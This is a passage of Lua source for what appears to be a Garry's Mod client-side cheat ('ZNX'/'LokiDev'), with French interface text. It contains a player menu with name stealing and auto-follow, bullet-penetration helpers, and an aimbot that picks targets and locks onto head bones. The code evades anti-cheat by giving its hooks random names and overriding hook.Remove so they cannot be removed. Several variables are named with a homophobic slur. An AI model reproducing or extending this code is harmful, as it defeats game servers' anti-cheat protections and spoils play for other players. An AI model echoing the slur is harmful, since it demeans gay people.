  1512. plypanel2.Paint = function() -- Paint function
  1513. draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
  1514. surface.SetDrawColor( ZNX.DefaultScheme )
  1515. surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
  1516. end
  1517. local plyname = vgui.Create( "DLabel", plypanel2 )
  1518. plyname:SetPos( 15, 5 )
  1519. plyname:SetFont( "Trebuchet18" )
  1520. plyname:SetColor( team.GetColor(v:Team()) )
  1521. plyname:SetText( "Nom: "..v:Nick() )
  1522. plyname:SetSize(180, 15)
  1523. if ZNX.GetRank(v) != ( "user" or "guest" or "player" ) then
  1524. local rtxt = vgui.Create( "DLabel", plypanel2 )
  1525. rtxt:SetPos( 15, 20 )
  1526. rtxt:SetFont( "Trebuchet18" )
  1527. rtxt:SetColor( Color(255,100,0,255) )
  1528. rtxt:SetText( "Grade: "..ZNX.GetRank(v) )
  1529. rtxt:SetSize(180, 15)
  1530. end
  1531. local faggot = vgui.Create("DButton", plypanel2)
  1532. faggot:SetSize( 45, 25 )
  1533. faggot:SetPos( 200, 8 )
  1534. faggot:SetText("Profile")
  1535. faggot:SetTextColor(Color(255, 255, 255, 255))
  1536. faggot.Paint = function(panel, w, h)
  1537. surface.SetDrawColor(100, 100, 200 ,255)
  1538. surface.DrawOutlinedRect(0, 0, w, h)
  1539. surface.SetDrawColor(0, 0, 50 ,155)
  1540. surface.DrawRect(0, 0, w, h)
  1541. end
  1542. faggot.DoClick = function()
  1543. ZNX.ChatText( "Ouverture de la page steam de: "..v:Nick().." ("..v:SteamID()..")", Color(255,255,255) )
  1544. v:ShowProfile()
  1545. surface.PlaySound("buttons/button7.wav")
  1546. end
  1547. local faggot = vgui.Create("DButton", plypanel2)
  1548. faggot:SetSize( 45, 25 )
  1549. faggot:SetPos( 250, 8 )
  1550. faggot:SetText("Muet")
  1551. faggot:SetTextColor(Color(255, 255, 255, 255))
  1552. faggot.Paint = function(panel, w, h)
  1553. if !v:IsValid() then return end
  1554. if v:IsMuted() then
  1555. surface.SetDrawColor(200, 100, 000 ,255)
  1556. else
  1557. surface.SetDrawColor(100, 100, 200 ,255)
  1558. end
  1559. surface.DrawOutlinedRect(0, 0, w, h)
  1560. surface.SetDrawColor(0, 0, 50 ,155)
  1561. surface.DrawRect(0, 0, w, h)
  1562. end
  1563. faggot.DoClick = function()
  1564. v:SetMuted( !v:IsMuted() )
  1565. if v:IsMuted() then ZNX.ChatText( "Muet: "..v:Nick(), Color(255,255,255) ) else ZNX.ChatText( "Démuter: "..v:Nick(), Color(255,255,255) ) end
  1566. surface.PlaySound("buttons/button7.wav")
  1567. end
  1568. local faggot = vgui.Create("DButton", plypanel2)
  1569. faggot:SetSize( 70, 25 )
  1570. faggot:SetPos( 300, 8 )
  1571. faggot:SetText("Voler le nom")
  1572. faggot:SetTextColor(Color(255, 255, 255, 255))
  1573. faggot.Paint = function(panel, w, h)
  1574. surface.SetDrawColor(100, 100, 200 ,255)
  1575. surface.DrawOutlinedRect(0, 0, w, h)
  1576. surface.SetDrawColor(0, 0, 50 ,155)
  1577. surface.DrawRect(0, 0, w, h)
  1578. end
  1579. faggot.DoClick = function()
  1580. LocalPlayer():ConCommand("say /rpname "..v:Nick().." ")
  1581. ZNX.ChatText( "Vous avez voler le nom de: "..v:Nick(), Color(255,255,255) )
  1582. surface.PlaySound("buttons/button7.wav")
  1583. end
  1584. local faggot = vgui.Create("DButton", plypanel2)
  1585. faggot:SetSize( 60, 25 )
  1586. faggot:SetPos( 375, 8 )
  1587. faggot:SetText("CIBLER")
  1588. faggot:SetTextColor(Color(255, 255, 255, 255))
  1589. faggot.Paint = function(panel, w, h)
  1590. if ZNX.IsTarget( v ) then
  1591. surface.SetDrawColor(100, 200, 100 ,255)
  1592. else
  1593. surface.SetDrawColor(100, 100, 200 ,255)
  1594. end
  1595. surface.DrawOutlinedRect(0, 0, w, h)
  1596. surface.SetDrawColor(0, 0, 50 ,155)
  1597. surface.DrawRect(0, 0, w, h)
  1598. end
  1599. faggot.DoClick = function()
  1600. if ZNX.IsTarget( v ) then ZNX.RemoveTarget(v) else ZNX.AddTarget(v) end
  1601. surface.PlaySound("buttons/button7.wav")
  1602. end
  1603. local faggot = vgui.Create("DButton", plypanel2)
  1604. faggot:SetSize( 45, 25 )
  1605. faggot:SetPos( 440, 8 )
  1606. faggot:SetText("Ami")
  1607. faggot:SetTextColor(Color(255, 255, 255, 255))
  1608. faggot.Paint = function(panel, w, h)
  1609. if ZNX.IsFriend( v ) then
  1610. surface.SetDrawColor(100, 200, 100 ,255)
  1611. else
  1612. surface.SetDrawColor(100, 100, 200 ,255)
  1613. end
  1614. surface.DrawOutlinedRect(0, 0, w, h)
  1615. surface.SetDrawColor(0, 0, 50 ,155)
  1616. surface.DrawRect(0, 0, w, h)
  1617. end
  1618. faggot.DoClick = function()
  1619. if ZNX.IsFriend( v ) then ZNX.RemoveFriend(v) else ZNX.AddFriend(v) end
  1620. surface.PlaySound("buttons/button7.wav")
  1621. end
  1622. local faggot = vgui.Create("DButton", plypanel2)
  1623. faggot:SetSize( 45, 25 )
  1624. faggot:SetPos( 490, 8 )
  1625. faggot:SetText("Suivre")
  1626. faggot:SetTextColor(Color(255, 255, 255, 255))
  1627. faggot.Paint = function(panel, w, h)
  1628. surface.SetDrawColor(100, 100, 200 ,255)
  1629. surface.DrawOutlinedRect(0, 0, w, h)
  1630. surface.SetDrawColor(0, 0, 50 ,155)
  1631. surface.DrawRect(0, 0, w, h)
  1632. end
  1633. faggot.DoClick = function()
  1634. if !following then
  1635. following = true
  1636. if v:IsPlayer() then
  1637. local ID = v:SteamID()
  1638. hook.Add("Think", "follow", function()
  1639. if v:SteamID()==ID then
  1640. local head = v:LookupBone("ValveBiped.Bip01_Head1")
  1641. local headpos,headang = v:GetBonePosition(head)
  1642. LocalPlayer():SetEyeAngles((headpos - LocalPlayer():GetShootPos()):Angle())
  1643. if !saidname then
  1644. saidname = true
  1645. end
  1646. end
  1647. end)
  1648. LocalPlayer():ConCommand("+forward")
  1649. LocalPlayer():ConCommand("+speed")
  1650. end
  1651. elseif following then
  1652. following = false
  1653. hook.Remove("Think", "follow")
  1654. LocalPlayer():ConCommand("-forward")
  1655. LocalPlayer():ConCommand("-speed")
  1656. saidname = false
  1657. end
  1658. surface.PlaySound("buttons/button7.wav")
  1659. end
  1660. Plist:AddItem( plypanel2 )
  1661. end
  1662. end
  1663. concommand.Add("LokiDev_players", ZNX.PlayerMenu)
  1664. ------------------------------------------------------------------------BIG MEMES----------------------------------------------------------------------------------------
  1665. function ZNX.IsMessagePooled( netmessage )
  1666. status, error = pcall(net.Start,netmessage)
  1667. return status
  1668. end
  1669. ------------------------------------------------------------------------DANK NOSPREAD----------------------------------------------------------------------------------------
  1670. local penistration = {
  1671. ["SniperPenetratedRound"] = 20,
  1672. ["pistol"] = 9,
  1673. ["357"] = 12,
  1674. ["smg1"] = 14,
  1675. ["ar2"] = 16,
  1676. ["buckshot"] = 5,
  1677. ["slam"] = 5,
  1678. ["AirboatGun"] = 17,
  1679. }
  1680. function ZNX.GetM9gayPenetration( ply, gun, tr, testent )
  1681. if !gun.Penetration then return false end
  1682. local ammotyp = gun.Primary.Ammo
  1683. local penindex = 14
  1684. if penistration[ammotyp] then penindex = penistration[ammotyp] end
  1685. if tr.MatType == MAT_METAL and ammotyp != "SniperPenetratedRound" then return false end
  1686. penindex = penindex - 0.05 -- precaution so we don't botch extreme range shots
  1687. local penissize = tr.Normal * penindex
  1688. if (tr.MatType == MAT_GLASS or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_WOOD or tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH) then
  1689. penissize = tr.Normal * (penindex * 2)
  1690. end
  1691. local ntrace = {}
  1692. ntrace.endpos = tr.HitPos + tr.Normal * 99999
  1693. ntrace.start = tr.HitPos + penissize
  1694. ntrace.mask = MASK_SHOT
  1695. ntrace.filter = {ply}
  1696. local trace = util.TraceLine(ntrace)
  1697. if trace.StartSolid or ( trace.Entity and trace.Entity != testent ) then return false end
  1698. return true
  1699. end
  1700. function ZNX.CanWeaponPenetrate( tr, testent )
  1701. local ply = LocalPlayer()
  1702. local gun = ply:GetActiveWeapon()
  1703. if !ply:IsValid() or !gun or !gun:IsValid() then return false end
  1704. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun, tr, testent ) end
  1705. return false
  1706. end
  1707. function ZNX.IsBabyGod( ply )
  1708. if !ply:IsValid() or !ply:Alive() or ply:InVehicle() then return false end
  1709. if ply:GetRenderMode() == RENDERMODE_TRANSALPHA and ply:GetColor().a == 100 then
  1710. return true
  1711. else
  1712. return false
  1713. end
  1714. end
  1715. --[[
  1716. function ZNX.GetPenetrationStrength( tr ) --heh
  1717. if !ZNX.CanWeaponPenetrate() then return 0 end
  1718. local ply = LocalPlayer()
  1719. local gun = ply:GetActiveWeapon()
  1720. if !ply:IsValid() or !gun or !gun:IsValid() then return 0 end
  1721. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun ) end
  1722. return 0
  1723. end
  1724. --]]
  1725. function ZNX.FixMove( cmd, safe )
  1726. local move = Vector( cmd:GetForwardMove(), cmd:GetSideMove(), cmd:GetUpMove() )
  1727. local speed = math.sqrt( move.x * move.x + move.y * move.y )
  1728. local mang = move:Angle()
  1729. local yaw = math.rad( cmd:GetViewAngles().y - ZNX.InternalFakeAngles.y + mang.y )
  1730. cmd:SetForwardMove( (math.cos(yaw) * speed) * 1 )
  1731. cmd:SetSideMove( math.sin(yaw) * speed )
  1732. end
  1733. ------------------------------------------------------------------------AIMBOT FUNCTIONS--------------------------------------------------------------------------------------
  1734. do
  1735. local hooks = {}
  1736. local created = {}
  1737. local function CallHook(self, name, args)
  1738. if !hooks[name] then return end
  1739. for funcName, _ in pairs(hooks[name]) do
  1740. local func = self[funcName]
  1741. if func then
  1742. local ok, err = pcall(func, self, unpack(args or {}))
  1743. if !ok then
  1744. ErrorNoHalt(err .. "\n")
  1745. elseif err then
  1746. return err
  1747. end
  1748. end
  1749. end
  1750. end
  1751. local function RandomName()
  1752. local random = ""
  1753. for i = 1, math.random(4, 10) do
  1754. local c = math.random(65, 116)
  1755. if c >= 91 && c <= 96 then c = c + 6 end
  1756. random = random .. string.char(c)
  1757. end
  1758. return random
  1759. end
  1760. local function AddHook(self, name, funcName)
  1761. if !created[name] then
  1762. local random = RandomName()
  1763. hook.Add(name, random, function(...) return CallHook(self, name, {...}) end)
  1764. created[name] = random
  1765. end
  1766. hooks[name] = hooks[name] or {}
  1767. hooks[name][funcName] = true
  1768. end
  1769. local cvarhooks = {}
  1770. local function GetCallbackTable(convar)
  1771. local callbacks = cvars.GetConVarCallbacks(convar)
  1772. if !callbacks then
  1773. cvars.AddChangeCallback(convar, function() end)
  1774. callbacks = cvars.GetConVarCallbacks(convar)
  1775. end
  1776. return callbacks
  1777. end
  1778. local function AddCVarHook(self, convar, funcName, ...)
  1779. local hookName = "CVar_" .. convar
  1780. if !cvarhooks[convar] then
  1781. local random = RandomName()
  1782. local callbacks = GetCallbackTable(convar)
  1783. callbacks[random] = function(...)
  1784. CallHook(self, hookName, {...})
  1785. end
  1786. cvarhooks[convar] = random
  1787. end
  1788. AddHook(self, hookName, funcName)
  1789. end
  1790. local oldRemove = hook.Remove
  1791. function hook.Remove(name, unique)
  1792. if created[name] == unique then return end
  1793. oldRemove(name, unique)
  1794. end
  1795. local function RemoveHooks()
  1796. for hookName, unique in pairs(created) do
  1797. oldRemove(hookName, unique)
  1798. end
  1799. for convar, unique in pairs(cvarhooks) do
  1800. local callbacks = GetCallbackTable(convar)
  1801. callbacks[unique] = nil
  1802. end
  1803. end
  1804. AA.AddHook = AddHook
  1805. AA.AddCVarHook = AddCVarHook
  1806. AA.CallHook = CallHook
  1807. AA.RemoveHooks = RemoveHooks
  1808. end
  1809. concommand.Add("aa_reload", function()
  1810. AA:CallHook("Shutdown")
  1811. print("Suppression des hooks...")
  1812. AA:RemoveHooks()
  1813. AA = nil
  1814. local info = debug.getinfo(1, "S")
  1815. if info && info.short_src then
  1816. if string.Left(info.short_src, 3) == "lua" then
  1817. info.short_src = string.sub(info.short_src, 5)
  1818. end
  1819. print("Rechargement (" .. info.short_src .. ")...")
  1820. include(info.short_src)
  1821. else
  1822. print("Ficher de L'AutoAim non présent, recharger manuellement !.")
  1823. end
  1824. end)
  1825. local function GetMeta(name)
  1826. return table.Copy(FindMetaTable(name) or {})
  1827. end
  1828. local AngM = GetMeta("Angle")
  1829. local CmdM = GetMeta("CUserCmd")
  1830. local EntM = GetMeta("Entity")
  1831. local PlyM = GetMeta("Player")
  1832. local VecM = GetMeta("Vector")
  1833. do
  1834. local settings = {}
  1835. local function SettingVar(self, name)
  1836. return (self.SettingPrefix or "") .. string.lower(name)
  1837. end
  1838. local function RandomName()
  1839. local random = ""
  1840. for i = 1, math.random(4, 10) do
  1841. local c = math.random(65, 116)
  1842. if c >= 91 && c <= 96 then c = c + 6 end
  1843. random = random .. string.char(c)
  1844. end
  1845. return random
  1846. end
  1847. local function SetSetting(name, _, new)
  1848. if !settings[name] then return end
  1849. local info = settings[name]
  1850. if info.Type == "number" then
  1851. new = tonumber(new)
  1852. elseif info.Type == "boolean" then
  1853. new = (tonumber(new) or 0) > 0
  1854. end
  1855. info.Value = new
  1856. end
  1857. local function CreateSetting(self, name, desc, default, misc)
  1858. local cvar = SettingVar(self, name)
  1859. local info = {Name = name, Desc = desc, CVar = cvar, Type = type(default), Value = default}
  1860. for k, v in pairs(misc or {}) do
  1861. if !info[k] then info[k] = v end
  1862. end
  1863. if type(default) == "boolean" then
  1864. default = default and 1 or 0
  1865. end
  1866. if !settings[cvar] then
  1867. local tab = cvars.GetConVarCallbacks(cvar)
  1868. if !tab then
  1869. cvars.AddChangeCallback(cvar, function() end)
  1870. tab = cvars.GetConVarCallbacks(cvar)
  1871. end
  1872. while true do
  1873. local name = RandomName()
  1874. if !tab[name] then
  1875. tab[name] = SetSetting
  1876. info.Callback = name
  1877. break
  1878. end
  1879. end
  1880. end
  1881. settings[cvar] = info
  1882. settings[#settings + 1] = info
  1883. CreateClientConVar(cvar, default, (info.Save != false), false)
  1884. SetSetting(cvar, _, GetConVarString(cvar))
  1885. end
  1886. local function GetSetting(self, name)
  1887. local cvar = SettingVar(self, name)
  1888. if !settings[cvar] then return end
  1889. return settings[cvar].Value
  1890. end
  1891. local function Shutdown()
  1892. print("Removing settings callbacks...")
  1893. for _, info in ipairs(settings) do
  1894. if info.CVar && info.Callback then
  1895. local tab = cvars.GetConVarCallbacks(info.CVar)
  1896. if tab then
  1897. tab[info.Callback] = nil
  1898. end
  1899. end
  1900. end
  1901. end
  1902. local function SettingsList()
  1903. return table.Copy(settings)
  1904. end
  1905. local function BuildMenu(self, panel)
  1906. hook.Remove("HUDPaint", "aimbotangle")
  1907. hook.Remove("Think", "aimbot")
  1908. for _, info in ipairs(settings) do
  1909. if info.Show != false then
  1910. if info.MultiChoice then
  1911. local m = panel:MultiChoice(info.Desc or info.CVar, info.CVar)
  1912. for k, v in pairs(info.MultiChoice) do
  1913. m:AddChoice(k, v)
  1914. end
  1915. elseif info.Type == "number" then
  1916. panel:NumSlider(info.Desc or info.CVar, info.CVar, info.Min or -1, info.Max or -1, info.Places or 0)
  1917. elseif info.Type == "boolean" then
  1918. panel:CheckBox(info.Desc or info.CVar, info.CVar)
  1919. elseif info.Type == "string" then
  1920. panel:TextEntry(info.Desc or info.CVar, info.CVar)
  1921. end
  1922. end
  1923. end
  1924. end
  1925. AA.SettingPrefix = "aa_"
  1926. AA.CreateSetting = CreateSetting
  1927. AA.Setting = GetSetting
  1928. AA.SettingsList = SettingsList
  1929. AA.BuildMenu = BuildMenu
  1930. AA.SettingsShutdown = Shutdown
  1931. AA:AddHook("Shutdown", "SettingsShutdown")
  1932. end
  1933. AA.ModelTarget = {}
  1934. function AA:SetModelTarget(model, targ)
  1935. if LocalPlayer():GetActiveWeapon() != NULL then
  1936. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1937. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1938. end
  1939. self.ModelTarget[model] = targ
  1940. end
  1941. function AA:BaseTargetPosition(ent)
  1942. if LocalPlayer():GetActiveWeapon() != NULL then
  1943. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1944. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1945. end
  1946. if type(ent) == "Player" then
  1947. local head = EntM["LookupAttachment"](ent, "eyes")
  1948. if head then
  1949. local pos = EntM["GetAttachment"](ent, head)
  1950. if pos then
  1951. return pos.Pos - (AngM["Forward"](pos.Ang) * 2)
  1952. end
  1953. end
  1954. end
  1955. local special = self.ModelTarget[string.lower(EntM["GetModel"](ent) or "")]
  1956. if special then
  1957. if type(special) == "string" then
  1958. local bone = EntM["LookupBone"](ent, special)
  1959. if bone then
  1960. local pos = EntM["GetBonePosition"](ent, bone)
  1961. if pos then
  1962. return pos
  1963. end
  1964. end
  1965. elseif type(special) == "Vector" then
  1966. return EntM["LocalToWorld"](ent, special)
  1967. elseif type(special) == "function" then
  1968. local pos = pcall(special, ent)
  1969. if pos then return pos end
  1970. end
  1971. end
  1972. local bone = "ValveBiped.Bip01_Head1"
  1973. local head = EntM["LookupBone"](ent, bone)
  1974. if head then
  1975. local pos = EntM["GetBonePosition"](ent, head)
  1976. if pos then
  1977. return pos
  1978. end
  1979. end
  1980. return EntM["LocalToWorld"](ent, EntM["OBBCenter"](ent))
  1981. end
  1982. function AA:TargetPosition(ent)
  1983. if LocalPlayer():GetActiveWeapon() != NULL then
  1984. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1985. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1986. end
  1987. local targetPos = self:BaseTargetPosition(ent)
  1988. local ply = LocalPlayer()
  1989. if ValidEntity(ply) then
  1990. targetPos = self:CallHook("TargetPrediction", {ply, ent, targetPos}) or targetPos
  1991. end
  1992. return targetPos
  1993. end
  1994. AA:SetModelTarget("models/crow.mdl", Vector(0, 0, 5))
  1995. AA:SetModelTarget("models/pigeon.mdl", Vector(0, 0, 5))
  1996. AA:SetModelTarget("models/seagull.mdl", Vector(0, 0, 6))
  1997. AA:SetModelTarget("models/combine_scanner.mdl", "Scanner.Body")
  1998. AA:SetModelTarget("models/hunter.mdl", "MiniStrider.body_joint")
  1999. AA:SetModelTarget("models/combine_turrets/floor_turret.mdl", "Barrel")
  2000. AA:SetModelTarget("models/dog.mdl", "Dog_Model.Eye")
  2001. AA:SetModelTarget("models/vortigaunt.mdl", "ValveBiped.Head")
  2002. AA:SetModelTarget("models/antlion.mdl", "Antlion.Body_Bone")
  2003. AA:SetModelTarget("models/antlion_guard.mdl", "Antlion_Guard.Body")
  2004. AA:SetModelTarget("models/antlion_worker.mdl", "Antlion.Head_Bone")
  2005. AA:SetModelTarget("models/zombie/fast_torso.mdl", "ValveBiped.HC_BodyCube")
  2006. AA:SetModelTarget("models/zombie/fast.mdl", "ValveBiped.HC_BodyCube")
  2007. AA:SetModelTarget("models/headcrabclassic.mdl", "HeadcrabClassic.SpineControl")
  2008. AA:SetModelTarget("models/headcrabblack.mdl", "HCBlack.body")
  2009. AA:SetModelTarget("models/headcrab.mdl", "HCFast.body")
  2010. AA:SetModelTarget("models/zombie/poison.mdl", "ValveBiped.Headcrab_Cube1")
  2011. AA:SetModelTarget("models/zombie/classic.mdl", "ValveBiped.HC_Body_Bone")
  2012. AA:SetModelTarget("models/zombie/classic_torso.mdl", "ValveBiped.HC_Body_Bone")
  2013. AA:SetModelTarget("models/zombie/zombie_soldier.mdl", "ValveBiped.HC_Body_Bone")
  2014. AA:SetModelTarget("models/combine_strider.mdl", "Combine_Strider.Body_Bone")
  2015. AA:SetModelTarget("models/combine_dropship.mdl", "D_ship.Spine1")
  2016. AA:SetModelTarget("models/combine_helicopter.mdl", "Chopper.Body")
  2017. AA:SetModelTarget("models/gunship.mdl", "Gunship.Body")
  2018. AA:SetModelTarget("models/lamarr.mdl", "HeadcrabClassic.SpineControl")
  2019. AA:SetModelTarget("models/mortarsynth.mdl", "Root Bone")
  2020. AA:SetModelTarget("models/synth.mdl", "Bip02 Spine1")
  2021. AA:SetModelTarget("models/vortigaunt_slave.mdl", "ValveBiped.Head")
  2022. AA.NPCDeathSequences = {}
  2023. function AA:AddNPCDeathSequence(model, sequence)
  2024. self.NPCDeathSequences = self.NPCDeathSequences or {}
  2025. self.NPCDeathSequences[model] = self.NPCDeathSequences[model] or {}
  2026. if !table.HasValue(self.NPCDeathSequences[model]) then
  2027. table.insert(self.NPCDeathSequences[model], sequence)
  2028. end
  2029. end
  2030. AA:AddNPCDeathSequence("models/barnacle.mdl", 4)
  2031. AA:AddNPCDeathSequence("models/barnacle.mdl", 15)
  2032. AA:AddNPCDeathSequence("models/antlion_guard.mdl", 44)
  2033. AA:AddNPCDeathSequence("models/hunter.mdl", 124)
  2034. AA:AddNPCDeathSequence("models/hunter.mdl", 125)
  2035. AA:AddNPCDeathSequence("models/hunter.mdl", 126)
  2036. AA:AddNPCDeathSequence("models/hunter.mdl", 127)
  2037. AA:AddNPCDeathSequence("models/hunter.mdl", 128)
  2038. AA:CreateSetting("friendlyfire", "Target teammates", false)
  2039. function AA:IsValidTarget(ent)
  2040. if LocalPlayer():GetActiveWeapon() != NULL then
  2041. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2042. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2043. end
  2044. local typename = type(ent)
  2045. if typename != "NPC" && typename != "Player" then return false end
  2046. if !ValidEntity(ent) then return false end
  2047. local ply = LocalPlayer()
  2048. if ent == ply then return false end
  2049. if typename == "Player" then
  2050. if !PlyM["Alive"](ent) then return false end
  2051. if !self:Setting("friendlyfire") && PlyM["Team"](ent) == PlyM["Team"](ply) then return false end
  2052. if GetConVarNumber("aa_targetfriends") != 1 && ent:GetFriendStatus() == "friend" then return false end
  2053. if EntM["GetMoveType"](ent) == MOVETYPE_OBSERVER then return false end
  2054. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2055. end
  2056. if typename == "NPC" then
  2057. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2058. local model = string.lower(EntM["GetModel"](ent) or "")
  2059. if table.HasValue(self.NPCDeathSequences[model] or {}, EntM["GetSequence"](ent)) then return false end
  2060. end
  2061. end
  2062. AA:CreateSetting("predictblocked", "Predict blocked (time)", 0.4, {Min = 0, Max = 1})
  2063. function AA:BaseBlocked(target, offset)
  2064. if LocalPlayer():GetActiveWeapon() != NULL then
  2065. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2066. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2067. end
  2068. local ply = LocalPlayer()
  2069. if !ValidEntity(ply) then return end
  2070. local shootPos = PlyM["GetShootPos"](ply)
  2071. local targetPos = self:TargetPosition(target)
  2072. if offset then targetPos = targetPos + offset end
  2073. local trace = util.TraceLine({start = shootPos, endpos = targetPos, filter = {ply, target}, mask = MASK_SHOT})
  2074. local wrongAim = self:AngleBetween(PlyM["GetAimVector"](ply), VecM["GetNormal"](targetPos - shootPos)) > 2
  2075. if trace.Hit && trace.Entity != target then
  2076. return true, wrongAim
  2077. end
  2078. return false, wrongAim
  2079. end
  2080. function AA:TargetBlocked(target)
  2081. if LocalPlayer():GetActiveWeapon() != NULL then
  2082. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2083. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2084. end
  2085. if !target then target = self:GetTarget() end
  2086. if !target then return end
  2087. local blocked, wrongAim = self:BaseBlocked(target)
  2088. if self:Setting("predictblocked") > 0 && blocked then
  2089. blocked = self:BaseBlocked(target, EntM["GetVelocity"](target) * self:Setting("predictblocked"))
  2090. end
  2091. return blocked, wrongAim
  2092. end
  2093. function AA:SetTarget(ent)
  2094. if LocalPlayer():GetActiveWeapon() != NULL then
  2095. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2096. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2097. end
  2098. if self.Target && !ent then
  2099. self:CallHook("TargetLost")
  2100. elseif !self.Target && ent then
  2101. self:CallHook("TargetGained")
  2102. elseif self.Target && ent && self.Target != ent then
  2103. self:CallHook("TargetChanged")
  2104. end
  2105. self.Target = ent
  2106. end
  2107. function AA:GetTarget()
  2108. if LocalPlayer():GetActiveWeapon() != NULL then
  2109. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2110. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2111. end
  2112. if ValidEntity(self.Target) != false then
  2113. return self.Target
  2114. else
  2115. return false
  2116. end
  2117. end
  2118. AA:CreateSetting("maxangle", "Max angle", 30, {Min = 5, Max = 90})
  2119. AA:CreateSetting("targetblocked", "Don't check LOS", false)
  2120. AA:CreateSetting("holdtarget", "Hold targets", false)
  2121. function AA:FindTarget()
  2122. if LocalPlayer():GetActiveWeapon() != NULL then
  2123. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2124. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2125. end
  2126. if !self:Enabled() then return end
  2127. local ply = LocalPlayer()
  2128. if !ValidEntity(ply) then return end
  2129. local maxAng = self:Setting("maxangle")
  2130. local aimVec, shootPos = PlyM["GetAimVector"](ply), PlyM["GetShootPos"](ply)
  2131. local targetBlocked = self:Setting("targetblocked")
  2132. if self:Setting("holdtarget") then
  2133. local target = self:GetTarget()
  2134. if target then
  2135. local targetPos = self:TargetPosition(target)
  2136. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2137. local blocked = self:TargetBlocked(target)
  2138. if angle <= maxAng && (!blocked || targetBlocked) then return end
  2139. end
  2140. end
  2141. local targets = ents.GetAll()
  2142. for i, ent in pairs(targets) do
  2143. if self:IsValidTarget(ent) == false then
  2144. targets[i] = nil
  2145. end
  2146. end
  2147. local closestTarget, lowestAngle = _, maxAng
  2148. for _, target in pairs(targets) do
  2149. if targetBlocked || !self:TargetBlocked(target) then
  2150. local targetPos = self:TargetPosition(target)
  2151. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2152. if angle < lowestAngle then
  2153. lowestAngle = angle
  2154. closestTarget = target
  2155. end
  2156. end
  2157. end
  2158. self:SetTarget(closestTarget)
  2159. end
  2160. AA:AddHook("Think", "FindTarget")
  2161. AA.View = Angle(0, 0, 0)
  2162. function AA:GetView()
  2163. return self.View * 1
  2164. end
  2165. function AA:KeepView()
  2166. if !self:Enabled() then return end
  2167. local ply = LocalPlayer()
  2168. if !ValidEntity(ply) then return end
  2169. self.View = EntM["EyeAngles"](ply)
  2170. end
  2171. AA:AddHook("OnToggled", "KeepView")
  2172. local sensitivity = 0.022
  2173. function AA:RotateView(cmd)
  2174. if LocalPlayer():GetActiveWeapon() != NULL then
  2175. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2176. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2177. end
  2178. self.View.p = math.Clamp(self.View.p + (CmdM["GetMouseY"](cmd) * sensitivity), -89, 89)
  2179. self.View.y = math.NormalizeAngle(self.View.y + (CmdM["GetMouseX"](cmd) * sensitivity * -1))
  2180. end
  2181. AA:CreateSetting("debug", "Debug", false, {Show = false})
  2182. function AA:FakeView(ply, origin, angles, FOV)
  2183. if LocalPlayer():GetActiveWeapon() != NULL then
  2184. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2185. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2186. end
  2187. if !self:Enabled() && !self.SetAngleTo then return end
  2188. if GetViewEntity() != LocalPlayer() then return end
  2189. if self:Setting("debug") then return end
  2190. local base = GAMEMODE:CalcView(ply, origin, self.SetAngleTo or self.View, FOV) or {}
  2191. base.angles = base.angles or (self.AngleTo or self.View)
  2192. base.angles.r = 0
  2193. return base
  2194. end
  2195. AA:AddHook("CalcView", "FakeView")
  2196. function AA:TargetPrediction(ply, target, targetPos)
  2197. local weap = PlyM["GetActiveWeapon"](ply)
  2198. if ValidEntity(weap) then
  2199. local class = EntM["GetClass"](weap)
  2200. if class == "weapon_crossbow" then
  2201. local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
